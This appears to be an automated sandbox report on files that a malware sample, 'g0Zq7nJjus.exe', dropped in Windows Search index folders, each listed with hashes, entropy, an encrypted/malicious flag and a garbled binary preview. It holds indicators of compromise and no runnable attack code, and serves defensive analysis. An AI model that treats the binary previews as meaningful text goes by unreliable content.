C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{37816485-15d3-4072-8a68-fcf015298878}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	50409
Entropy (8bit):	7.996642691372622
Encrypted:	true
SSDEEP:	1536:OSYIwrOw3XcHQ9KPUf5WonVR2A61pEcUC9hyE:T7wrOw355jX61pz1hyE
MD5:	A76993F9BB7E2B7EF488CBA4D9519122
SHA1:	57F728F822EAB7AAF33E01CCE06E56A94373CC78
SHA-256:	24A42C9732104153EB7DB2AA4805A5223DCDE8305B680F451DADB5BC51FC9367
SHA-512:	54F2D81F09AB443CD9F3476082747802B0169E0FA2699B4F7FB324B4895DAF578644E8D29E83312ABA0475C9F338EBAB53A313C296B1D79B501E77727ACAF525
Malicious:	true
Preview:	.....`.R.....I.9..._.T.....C6...l.1.....9..i .aW..m...h.'=bM..N......m.g..N.1....^....S.`.......8..x.?..Vpx....X.V.U.......l!L.....4...Z...jz..c.w.....[.;....bObN..R:.>.R4..Pj<m3.{..,Mm....46@I.0......2e....z..x..?.c..;.........x.HaB+.+....m...WY...^y.E......)8..+...A!.k.=N.0...7DH....j...2...?..Z.q;+..q.B./%.ym..X.7N.)Y.............P._v..R......=......{....F....aa...w.....0G6..#.l.?}...Yy.=......Sv.O.G..F....&.i..k...\|.\|9..I..8.7D6.0....D...^...FYx...b..4...F..M.<...........su...L..k(?J.n....=.....C.[....e..9..c.. +IT-.\|.,...T:Nm,..IC.(gu'........8.<..C.T..R....r.t_..F.0..3-2........D.s.lv.\...C..,[....\|..;.C..9^.ls.e.KI..S.FJ.~=K.4..$U.W+:..A..I.w.7.>l+.j...k@...y*D.Q.R.'.V..t8......%Ki.-jq>.}....6I..\|!DVV.hQf3..[0.m.B.1...e{.&bG.?#.yf.fx.......n.Z;..z.)..c..>. .u.....><.{.]...,...\..9..l...XA^.JZm5.ko..w\|.=..{R..X....1A}.%....D...P..C..a..E....-.Nl...\K.z...W....b\[..wrB...%....o.U..4!..@...wrc..h..)G"...u....F...#VD6a..GON.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{37816485-15d3-4072-8a68-fcf015298878}\Apps.index

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1124885
Entropy (8bit):	6.545719049473313
Encrypted:	false
SSDEEP:	24576:KpWPyQepmjYfoyFxz8GfoLr7YfoyFxz8GHkKf:WWqBf1xz8GfMwf1xz8GJ
MD5:	DB0C29B77A1F8EF1E636705EB4E20F67
SHA1:	ED1639D20353D66FAA54A57AD237250A5D8671A2
SHA-256:	6C1F1832AFEE6AB1FE9EC433796EC2704114907499E842DB5F079AE8C387B2FA
SHA-512:	5C66296B0C69BE58B73A182A00509484DB88A618EF57313E998F2338E19F5742984CDA5C202B1E67CEFE2F5D23F86693DDD47124569EEF7AC81B1CEC3C31A20D
Malicious:	false
Preview:	Ej..D..#.>......T.t....._.......Wc.@.....(4.sr2.P'..Y..l....S......v...7n3~..7...q........og..6..o..(d..".o.>Q.n.H...;mQM6.....U.a.JKE......m.I{'...#(.......#@.j:.,..tB..B%.@.....c.........i....r......~.b.+....I$.XJ ...9....`L.I.......5.!I...{..j.K{.h:KQj+....t.............1VEw).@.,_;....?..j...!.....D.G..Z.v..X+.\|g!]%.dGB....g)....\|S;........e(...tL.xY.I......z.j.....i..+T~../.A.69.....2j..zLj.......c.nn..4....Mt3+..;P..9-E.5...y.....s......8.+d...IF.....u<...F`.......V.\.gQ.s.G.!........j@w..1....C....N.....VX2.dt...........Ce....#.{].;.cJ...oV...m.d...$<.V.5..,...(..=.9p]....m]......F._.K3l..%wr..GZ3...)./.$.E.....r...(8#......k5....Qk...-..G.-.....B_ZI^.i&..Y:;....O....J^.).\.....8.o..b........+v.k....g=...q.Q)..za...c...N.....b.KK{.8d)8..:CP.O....#.X<1.?e\f..-m..k%S.e-^.J....%........D.9...#..y.../.U.-$.b...k.^.)E+.`.2?<..O.P...o....B..Y;......X.V.....X...U.,.n...L7.h(...4h........o^%.Szm.l:.S.:...u..).H.f[.@P..U

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{84c2e19f-ba07-4fa5-bd92-4f6344328293}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	37506
Entropy (8bit):	7.99455513216352
Encrypted:	true
SSDEEP:	768:gbP/yrj3qZJa8uBL1q+XJELhvKaghJoeZRSW:gL2jPXJEL1qJ1Rr
MD5:	8E57E228A6D4913549CF154FEEF28FE4
SHA1:	DEAC969FADC31ED9EC0EFEB6992E5B3B7748DAF8
SHA-256:	7B2049AFE5635C97761A561495D92B9574A879D4706E6E74704656ED5684CBD4
SHA-512:	CDB4F947AF825F3930F6D8380153C1ABF523D409903A096CE99AB1D92CB1740017EEA433865A544595D9F19F18C94A971C13EB0596B477808E0DB850B2CD9E88
Malicious:	true
Preview:	0.0......q.\|..p.-.H....5.X.6.=T.D6;Eg....O..Y..#m...q.T.5.<N...@.:o.}U.(ND.a.R?p.Q/.x.[..._r....#...w.s.4.....1..(XF..%.....X@"v.....Kw.F.v...=.f...0Kc.Mi.A&T;..kG..h&j..\|!.<...S].....\|aj.,..r5...p..D.v0.#..7....,...............j.0 .r...<.[...t8.He..1...n$...X.(..I..........L.jC0...@L..(..I..7."/...T.....S..r..b.K).........MQ...././.{J.2........42...e..L..Jr...fT_6...........5....M.$T!...&@..ovm.......V.]...d..Y.,..?...R.......z..t.onz..\.wV.~..B<..V...`.Z.rq..H.e......s..y....{.........H....O..4/..#...6^.{... +B%0...^...Rn..K{X...U.'.....:..;Xr.g+.T...?P........j...$b..V..&..uf..b.b...&........g.f.4..(..&,9Z..(.'.H^Z.h...:.d..<=..0^..i\|.I.u......V}m.6....(..)...R..T.PKP.$t.1.&-.......c}.....5H<s.k}.q......N[..W........P.7.K..^i:..'...O..n...]....T{.p...c....F......nez,.};..cL...0..m.ungS.nON`o.3.0H..&.5...m....i.....#.-d..Od.M....`8..../0....h.f.d^WNt..[..../.Q..G0.E.l.XX..XG3..qh&........q...f....:.b.y48...K2T...aCH.?`...f..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{84c2e19f-ba07-4fa5-bd92-4f6344328293}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	50409
Entropy (8bit):	7.996242701490815
Encrypted:	true
SSDEEP:	768:LsA4X5WudiyJiXv78IGJ5NLageAr7P8xejkV7ZQjW3Obqm+w5o7H8ddGBYvU:a5LNu5oPUxrCC3OGJVAwWvU
MD5:	EAE985F863C2C73C01B0022C8BA928D5
SHA1:	1BC8E0357D77D068B32F71573B0D802C52866BBE
SHA-256:	274B3E7B8F822D2B7474D45A145A0F20F6F27897119FBE88CC076C3F24215EC1
SHA-512:	6194BD71BE75A7CBDBD929C9E5498676892E07E104350D249F23516BB0A84C05B603A7F6AEA79A83E5DAA786025D1B32F02FE2F40DF0E056387CAC2533B6B591
Malicious:	true
Preview:	......r..+C. 5...^`xz.M..Q...5.)+N...>.......\...n..cn....oyN.b&Y..O...f.LuDH..&.g...M....:..".%.=...........%.zX..z^ 4.b.t.#..g$(.@H.V......]I.E../.K..'....a.2M.(...../.s....+k..4..A:.. C.v..7j6......W...C\....uK4.+!.=.e....&.e..}z.m...T.l..7o....`.rn...h...F.....2.1X..1.G.,q.A...\=@;...D]a2..Q7...m.U$..[[%`.$Uk.q8..3y...5A(....c.>.....\|.2...fCU.~M~...<..v._.:.1..E.s.......\|..(^g..j`..6.#....4..w`9...'..P....'....9........F.XE.Z....O.n).......Z......(y9......7Md.X.~y..P9.P:.!...x.3...#...zQ.k.0k.Dm./.U...h....=.t.Q.w..w..h.m.B>.Z'........E;...v/...!...."5...-d...XG9....x.9`.E......Y....J.=.e.).-w.....7.\|.q/F..`X.tU.....C.%.=......&...q.cY.zn...;...e_.0c5..#7..>.3.`K..6...Rg.\.^...k..>7J...5+#;.^Rh..2:n...t...j.K%.....-]/..!Hj.Vf..j.kY...BIN....).^..."+t..........q.d..$............<_.....;.9.$...'.).y....,..<.-.K].e.3y.P.#.....`.......C...yd.Q......_X........$..h..k...i....O..d...Y.9.W.1..5...O! ..D..Y...N.d.A.7......p.:.Y..rP..z.l..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{84c2e19f-ba07-4fa5-bd92-4f6344328293}\Apps.index

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1124830
Entropy (8bit):	6.545383125059238
Encrypted:	false
SSDEEP:	24576:SD39mL63lbYfoyFxz8GfoLr7YfoyFxz8GHjBjE:i39O6V8f1xz8GfMwf1xz8GDS
MD5:	B3CA98F9FD9EC04C3859C5185EF805BE
SHA1:	5AFBC6B63FCDAD91FCA8542EE2BC58E57D9FD405
SHA-256:	BF0E72938DD0808784F6AB906974148DA8D6094CD12A197EE9B2E5BD0DBC502A
SHA-512:	AEBCF46C55286326E3B9688157910AB3CCACF0401D456C93254E3886CE37DC2E06C10044F114E5C412DBA83606C1599A32C451456607ECF11C6AB1CCC0BCD151
Malicious:	false
Preview:	Ej..D.)..Cae..h/r........Y.....E..&v..L.M...p.\..K...N./...Wa..........bP....!.\.n...K..pO_.......bA=.+.....S.\|u.]..hT.C..N.f....z.\|..%.Lw..p.5......Cnu.\|sy....F.W...]N..6j....y....5(.Hn..o[.U.k..Q...8d=Nh#..(.....V.F.4Wi.p.My.....%Hsa.&.[.z"..]f.24..Zc:.Q%(7./...z....v...l8..f.C...r...f..s.v.....^.O.....0$d..C>..>.JcT.tQ...K....~%.p.6.].....(..L,:......?.9..r.+...hq...O......8..vO..D.e.j..LDG...h.\|...d.l..........T..y76_...8..R...E.......]3..~j...H...q...\...0......U$..lh...q...j..;O.'.......MU.Wv...XL.....5..W.,XE......P...)..)S....h...1EM?:0......QL....bw.6.9;..W..u....Hr.3..X,t...A.9L...O\|.Qi....osh.......s.t...t.q..y2..S..-.>./a...C.h.ZqS$...........<.\|.`,../i/...7u..8..?Q..3,."yi..aC....E...&.u.O.o.....[..@.Q.t....S.Y..............E..).Y...H...^O5.t.KP..5L....kZ........0.6.........,Fuh..]...[..)...O6N.....N.Z.ay.....l{v....o.....N.MW-v..5..K..Q..v.SH..?`...N...A.oIN.E..h.W!......Y&zH._....5..Z.F:+u.XfQF..z08::.k...%..vo.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\apps.csg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.7369959936902335
Encrypted:	false
SSDEEP:	24:+ajmHbVaiDhFpTyJHuWBvMwyaStvUeza2bD:Nj2bVaiDh/QOSMfa8v/RD
MD5:	1471F8B7FBF95AA6D96940BDDD0036AA
SHA1:	92B0E22DB8C3CDAFDE7EA1EDAA7E4C48BECF541E
SHA-256:	E3108F59327A60AAD7B9715B627D84E357AB8917C6848BE1B22AF4CB9C141891
SHA-512:	080969BCA53B2104DA3EE61C8851A84797FF3A9F8B4FCCBB6E36DBCCE4A49F0AB443C552093777EC33788A1C532EAF49B861E7CD7E31F65CACAD4EF4D438A407
Malicious:	false
Preview:	.....%..2Y.\|jxx...;Sp......V...[..q...8Z..4.6..,......S..?b.k..Y...~.y...2.a....#.6.u..[h...u3_.-.."I.N..,...9.]...y.@.]-w}..z..\....B_[.6...v...C.N.z3{V....8+e!a.5...W....].?...x..6..<.[(.x.X.w...ID....0..Y.........:oD.dj...X.......i^....8.........0V...~..`}.[..y.KA.".Q.r'.DC..li..Im7.C......0l:...J.MC...9n.`.U...:T.iO..O.yh._.........4.t`..Q..E...(...>'..#9..0.]K..k.U.8..h9N)...:......wS[-..m..k.".....iC.....^\.....1.......%\.].3.\.>.?.Uy....K.c_..Ao/...#i...{.ft;.8%x....N..~c..&.... .w.n.jt.J&..+..%l..I'...+`........r...HL......_U.ZX...L.}w.M.or=...z.M!.hB*e..T..SQ...Z.......A.q..v.SN..2n.OoN..7Xw.4..x.9.9..f7.>...X.."$....s,.....T ......5..x...ImMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\apps.schema

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	484
Entropy (8bit):	7.553036665370859
Encrypted:	false
SSDEEP:	12:jB9JMd5czPKNc1l3loNRRVT/VEbDAyXyv6CSUdNcii9a:jBrWceNcflobrVE1iv6R2bD
MD5:	1B31EF65743C5C7165E4ED692EB8CCFC
SHA1:	0950BFF965509FC219F07189AFCDD1E6D2F5B0F8
SHA-256:	AE4700BE00020372AE09CD640B956E0A9EEA5C3A0EFB26BF14B3363E7C5F07DF
SHA-512:	159CE81342109233A7B91A07F40DC89002530B3ECC9457FD0832B2C25232C617C839C38BBF1F568BE33B095E308C6C3D2F0BEB8624684814A66E34DE2712F276
Malicious:	false
Preview:	Windo....,.H.d..@.F.[..t.9...$[....+..S.0.I}&g/.x..>g.Z0...-.f..o& .^.@..I.mE.x<G. y.X\.,'MR2z...a.....D.#u+.....f.{..s..C.l....@.\..Q..y,....).X...D~..a.=' }....ek.p#mk6..,..s...?......`...e..0.p).h...d`=.l.lf.....W~..\.......w.%.6.3.....=.BPl...[.....>...(....NVt.dv4.....D..5..A.W.........~..\|.....`...,...(+.../.Ia....H.S._....K.X.J..)......".$...p9...}..X....2>...jx#...eo..xdomMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\appsconversions.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1426236
Entropy (8bit):	5.415366733021036
Encrypted:	false
SSDEEP:	24576:AqoOd05Mjdr9yEKzC79ufKZDXkmn63mlDEyjMI:XH0MVD4A
MD5:	BE561F6FC3FEE14FA69FF6973E091317
SHA1:	5B893C8FB4E80A2667DD736FEB9133F42FB9CB2F
SHA-256:	25B0C315C0CE5AEFF1AF3F84926393BB856B246B72E9BE41F06F9B86B4CE9630
SHA-512:	BD55A8A2AADB3F3396D0F14CCA6EDE2AE3D9DB7E222A68BE270053FA8BC93159D786DC27159D6B110C8503C7428D40345650128CE6EABA4940980449CF43B1E9
Malicious:	false
Preview:	marke..3\.9.M7j.V.9....h.N.k,...=..m..dW...#..t.O..89.3%&.A.......S..\1'.S.. "..o7..g...$/d.hp.h./oP.gUkY?.n..4.w.<.............R@A....y.Lb.}-..N............vi.=.......Z..]....\|.`.A?...&S..}4H.'.....XeGM..0..o.Q[O.e...b......w(.J(....(d.AHW.W.........u..Kj..BpS..l..O..}0.....@.... ptH..1..V.=..a.F0..4$...X.......J.&..c.Q..0.4......=.=..s..-...Y..(.h.y.=U0...r.V..H`G.)&..A..P.....4[6Z'.....S.^.:.x_O.1..A(....SfwO....a.@f.Mi.M....O.@..V\|a..r.v......cyg..O.sH:.......W.W.....W....d..{.u...q<.q.....]"P.6.-....@I...?..=...\|W....k.<.R...f....^.}.g ..u...{s....d...q.m.......0.,......ED.U3U(...x.alx..6T..M.....s...[....,B.I..dG4.Ve...7..Y1...G..7;..3...io.}.7.n.,..0c.\V.>../p..."......1..w..EI86._$.{...+..q..h.7......{........<.\|`...G6x.....`....@.Z.O.D.e....R.Z ...Bx\T....F.==!...=.._./.#d.`....K..1"^.m....o>J...m.'..+...N.......C.;..S}an;..0.zU............R@.f".qV.uava.Ci~...!.aX.u..Vn...M.#.aN;i.G:_y.?.U.{9..(.'.tK.R..B..(..0..C...)....VK.?a...8....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\appsglobals.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	352062
Entropy (8bit):	7.225466307871182
Encrypted:	false
SSDEEP:	6144:FGcPh8y//WK97nO/axqkBOLY1YL6hB5PsqCfX:FGOv/Z97n8KxmqiX
MD5:	E0EA74D980EB737F78C8F5E903529A36
SHA1:	16915D10790FC26FFEF5A687873C850FD7944D90
SHA-256:	30EBC5C55354DECFB41A93E0D22CC6371734D4C5F01EA2FA723C12DBF564FD0B
SHA-512:	7F59458656BAFAC5EBE793AB833AF47839FD089D7B325254CF6ED1774AE3A3B96707AC148D95F4841B2A34983CCCE8C2D17C0AD9F4FE4F06397C6C757784FA62
Malicious:	true
Preview:	{1AC1..h..S.A......X.....#.P......!..h.!".......6......;L.....`#..v.. G....{..'......9..&.....I........."...F..(-..~.K.S......>...eQ....VS.X...<.Gs.Y.i.....H.....6~.hI..u.y?..Ek.S...Yl.o.....7...A.;...a.X...v.Fb...z..N..qW....0..".pN..?.J.z...\....^..&..>^.@...;K....g.I..'.+...]V....j............r..\|..n.[.T..f...<...<..Y.X....6L+.i.{KL.q.,.Qd.,.....}...}....6....).=\b.(._r.....+m...............N.w.... .a[..Hq...8...%8..y....3....Q.~..ugG...\..c\|.g...AR.k.\...7._J.0.%.......a....>.\|..L...'..u1.4.O.......rL.9w...NJ.....Pd.y.d.v.S......9.T.%.5...M..j.j).LO..G..Wl..%.nxA.eT..e.n.P.z..y...ch......G._.9.[).P.9.&...g..y.Q...'}0.@...m....MV.5.X.....bN.umV....p.^ y...3..(.RX<.k&.3....m.&............Kbm.Q....A...5.GfJ:..!..q...\|....I=....o.Mx......G,S..[Z{{..d.Jj.i.:.K...}..../h..3Pc.f.}K....ec...].c..\.(.....1.c@d=../.D.L..N...u.IG..B...`^6...5M..pR...t.1.W..-....c.......M..t..Y.;.....V.Bf=...M..FQ.Y8G..[y......c.,..2..n(..LxC</D.n..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\appssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	243828
Entropy (8bit):	7.5109725115134545
Encrypted:	false
SSDEEP:	6144:rJU8WZarqeZU+P6HUjLab6GsHPQY9nCyXFePK0:rnWYBvP6cK6bHPQY9Cyg
MD5:	56BABF846FDD3D9CA5CB5ABA8DB3E292
SHA1:	D5523E0F57024FF14728B5041347771BB3768E38
SHA-256:	8660EE2C3EE1D855F7C70AA2E758712CF429B23A9B89766405B49E689BC07BF1
SHA-512:	A027B2D2D6E291A04F0AE9CB52B9216BD0A3678FE0390DA5F2F08DB3AFDD41382AE59CB04C6694B50090FC7E3DEC61FB6D0E3E3816DF2C597D622DA55167ED19
Malicious:	false
Preview:	\|.\|.I.!Z..?....#.......!.Rd{....%<8.6<"%6j.Q..I.{...>+xo)u...J...\|v....;..G....S.[..s.'...S.H9.2.ZR..........zo.4....(..e...N...>.....R=gq..`.?.^z..DalY~f..'.T6...e.f.N...... ...0t^.L[g.l.~....2.r...+...Uh.g.F..GT...2`.m.n.Y.o...T..9 y}7..D......b."....-..$wL...vK(%[;.Z6...3.....ps..W&u....i......4._k..L..7. K..r.JT./u.oe...R.X....s.....b..\|;z..C..:0y.K.Sj.......M.U....M..rG]....&.0g.~..W...E......@...i.S.....mx.Ck/0..i...KQ..........;...]..f..v7.....B.0...pX>.T.`...u.w..3.....}.b..A`...699"..,.f?wx.z.<..m..`>...1.1.-....z.uZ.?K..1..q]..X..%.0x5.]..G...t..^Fs.E.X...p.8..Hd...E(..':....S-..F......<.-_...E..%.<..BO!W.....h...w........BHn.$..c.i.f-......li.B#~.aSbC.......U .....&... .....^41........9!..4.'..\.........u."H.}(........V..f6_.S..X......#...7.....G.....&m..%p.?...#..@.( ...Ns..=.\|;Aw.......v.a.rO....s.t.^..8l.j.X..Rb:[..........i...d..0..&....q-.x.....M..\|.H[# ....Y..io\|..J7...].z....S.CqdP........u...b}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settings.csg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.734250841302898
Encrypted:	false
SSDEEP:	24:2knqxAjw+1Fq+kJBOk7ZefIyrRO9pKG2bD:2k5wAqJnOk7ZefIxeND
MD5:	F512003AF3009325BFE0C1C44C7F43B5
SHA1:	01F4239D76DA5831BBDE874C902FC33B4EEEB938
SHA-256:	DD5C8F491E5BC2262DDE03963E57727F4BC5B81105F2DD60D6E61F4A7CE14D63
SHA-512:	D9C111EF11768242268C87A154CC1B6A641F3080D30719809239731CA5BAB8F5D17F83842B5A6FC5613431D1677D4F46FB2583FEBE1A4451DC03B61E3770017E
Malicious:	false
Preview:	.....ev.@x........#..\|..[l>.z.Qe&...p.?e...`...8..>m....L.=.#5..B.$............30.....g._...>.....fX.p..(t....~.p...\E......j..Yq.\.y.'..e..F\|_D.....`.e..XQ......./..x.e..!_b<}.tE.."0..r(y!....5......s.+g(..ZDQ.....V...t...A.....-.`..H...od.ic.@.Vt....J+w..=@._%.v...-s......U....jE8...3q..\|8.8...............O......O.Ei..7-.9....P...D.S...k..^5\..d.Z....D..S......p..J....)..kA;..$.....#8\|.cDb....!Jb..1.........6\|...(......T2H..3.......r..ig.YMJ... .&.U.4y..q.&.n-....Q!0..$.4..........@.JKQ..,.B......Pi.:,.).I.E/.......9.l..2..`..\|...!\......e.-{rm.<..,.*.A.t..?.....2.`.....7.@sMN.`..#.#e..r..wDiF.....o..S.u.A..6.,.j..z.........m......yo.m....#......2K.\.5K..rmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settings.schema

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.470628332305723
Encrypted:	false
SSDEEP:	12:jBKiSkGitw/AbKybmWbTx4c2/ZaCYOI8l4WASSUdNcii9a:jB7SPoAAb/bmuxoZdYOI8M2bD
MD5:	A718DA9CDB9E8DEB02DAF8B20E6E7A6E
SHA1:	B9CB61807646425A54E78E56B180A43F5271D2FA
SHA-256:	912441216FDD9C2BA0069DE43E242B6B3EA9EB1C083826DE38D8791920EFFA53
SHA-512:	8C79F18D1263960644B54B27DEA7A2695AE6D43D3C175385CA5F9BAB96F1CFCE44ECCA160B6F107CC727241B422A002BAB4E72B13A6E7CAF8AA6E1B947CC37C3
Malicious:	false
Preview:	WindoQ.B.@P.^.Ds........r..Z.<.Z.\|.K.....L....I.Ac=-......5-.....B.s.Mc..%fN D...5........%w!C(...o...E.1.>....2.q04.98.#..../qya...7........n.A.N.L.x...`./..~0...I..10J....G....1...1.E+....1h...u.hz.x.....p......~E.@q.w.),.z..T.c(........8.i.>.{_". ..L..L......+.y....km2V.`f"$.vh...wK.,#).U.VE.....F..l$24...r.{..w.'a.#.y.B..5.W..qu..=...../..F.`.]......$m.......`.....sF,...]l..c.....q..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settingsconversions.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	533084
Entropy (8bit):	6.258127797115581
Encrypted:	false
SSDEEP:	12288:YyX4WDj0HFHZGVbxjiuTsP583eAMwQknzBcP:Ynu0lieG45epZe
MD5:	7C64143E04B0DE6E45BD3445F3522785
SHA1:	9942B96AE437E4AEE1D36A6F411E9FD98B2BF52D
SHA-256:	FEF55C077007881E75EB1AC3CF422134059A8CA99F32E9C8D948DADAE6483E88
SHA-512:	AD486D08F4760CB962FDE3D121E60186FFD8C9EC70A3379023DEE890E8FED065F87DEEA0FF05F9700DD6D7D59CCFF2DBE29C3E42F6010C71466A29855E3DAEF9
Malicious:	false
Preview:	marke..,).....k.<.....c.U"b.........).B.A...D.......Ug.2..w..&8...69.Vo.j..G....m7..g.......lPt\|..p..#......,...R..gQz.........X....'.<...>..JH^..(.\X.:.XN.."......./u...l.>0...]~T..........v..KX.8>#.>...yg.....R'.d.[..c.\0.....q#...0.B...=Y...>.y)....mZs@....+9..~m#...A...\|1l..]....P'....#.%h.p.\|...q.."...r..a...h..B.....A.1....=.s..W.DLj...D.B.,....^...4..9.P.t&k.......!P.........fO.9{.....%.WH.b..p.e.v....[AR../.=/]..x..!..L8{........?.&.&..H...5..6n.......8bQ.Tq.u..:./...7zeL....\|l...`......3O((...c....>....s....&.l+b..=....+.D...P.v.O.A....X.-....4yg.f..r..5....._."D.l...q./#.q&cR.:.Q....+1.(q.JH.i..o...W..w...S..F....:.....A..}]#...T.V.u..a..p.Y...f..mI,.....+7._....e.....o..)uAt...;..W...eN4.UH_..2....s...;.2....pQ..U.W..-.O.xrMe.2PX..\|..5....Y...\.\....3.=......;.D..@..s..........NNZ..>!c.t...KU.Z..2.L.\|Y....=ve..:.'..@N......X(qNK.-.....<gRvL.Z...........p.. .B\|.}.......d.M.#..T.. .T....7z..2.r ..v..~tP.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settingsglobals.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	44833
Entropy (8bit):	7.9961118293839375
Encrypted:	true
SSDEEP:	768:IobjcRVM1DuOWhsAhVq4IkX2ZiEGLnM8rVvW6NNqRnCtLoDqXODo5IRd0:BfS/rVqp5eLMUVxMnCLUeV5K0
MD5:	9850CB9DDBD7EF3D9D97234D018ACB3E
SHA1:	C198DFCCB8F572ED27B8B2D20D8375A166A9CDB2
SHA-256:	2633C62057CEF7580592D82BE34B4A7856B4FB9D50F5B5FF03D92F6987633B0D
SHA-512:	E608A389BFB709A22ECB85E6F3E51B2228BC81D2A949308A7A28F46A8FFFE8B818B3B07F98507B725E6914FEEF57188E7110E00004FBCCA235DE2336AA728038
Malicious:	true
Preview:	AAA_SF......Hmz..TC>...7.Cm..!P.~...@z.0]...i....EQ...#.(.(.D(C...z.]<.m.x..x.c.....;...\|.6.Z...J..=....r..~3..i...Wk.>JQ.......d<..'....G...v.........).e..KH;....m...._..G...z.....QF.a........T...........:..$.5.f.3...=....(3.........IwS=.......C..$.......j..>~@.@...W...[.....A,...KD.VM.M.X.]!.,.bl.......6[PU......!.L...!fDd.B.a"_.(..;c....y..[k1..Q....@.p..:.....7l..+.0.8.D..gve/..'.\8.k>na..+.Q..o^.S.P0..;.+..qn3..Q(.4......O....t..,.>.._.qz....SB..]D....'X.^..K.i.M..f..1.yN.2...]...gO.;2..0. .A.8.....?L..+9..m?1.H........PB.e....M..p....8...m(.....S....ryr..A.57g..:g^u.#.w.Cpb........S.U....'.;...]x.S.\..wQ.,khG.'....T.....E2c......35...~..~Rx;.tA,...p.P.H.....A...x.uEG..........AIDB.D..$5.s{.>u.....v....9`.j7..3...(.y....`..z.i.s...{'b.......D!.....4..H=H;vO-.Q..#..7.......).......\|.q...\|.B..7.{}..\...>.~.Ehx.f.BO....bWN..l.......;$G!.<....>#...../.cM.J......S.....u>...[wl...u..6f2..(..a5&..M....M..B'..4..'...X..V......f<.l...z

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settingssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	104051
Entropy (8bit):	7.998199481849411
Encrypted:	true
SSDEEP:	1536:jlUVi7uX6dhtXfr/I+frPfPOeB3CzXVrqzWlKiAfj2VJVvdiG/1+w7rJatbqmPTi:BU4djr1fyeyY6hA7UJZIG/SpqmPu
MD5:	369E389097D57E6F5B7343FF4FA3029A
SHA1:	A165C89E4ADDD2AD8B4CB31682274AF770D17ABA
SHA-256:	7B2CE174625C0F2AAEC6BEDDC5AC1D08F95128AA2AA0D51C9A53578EAF462BD8
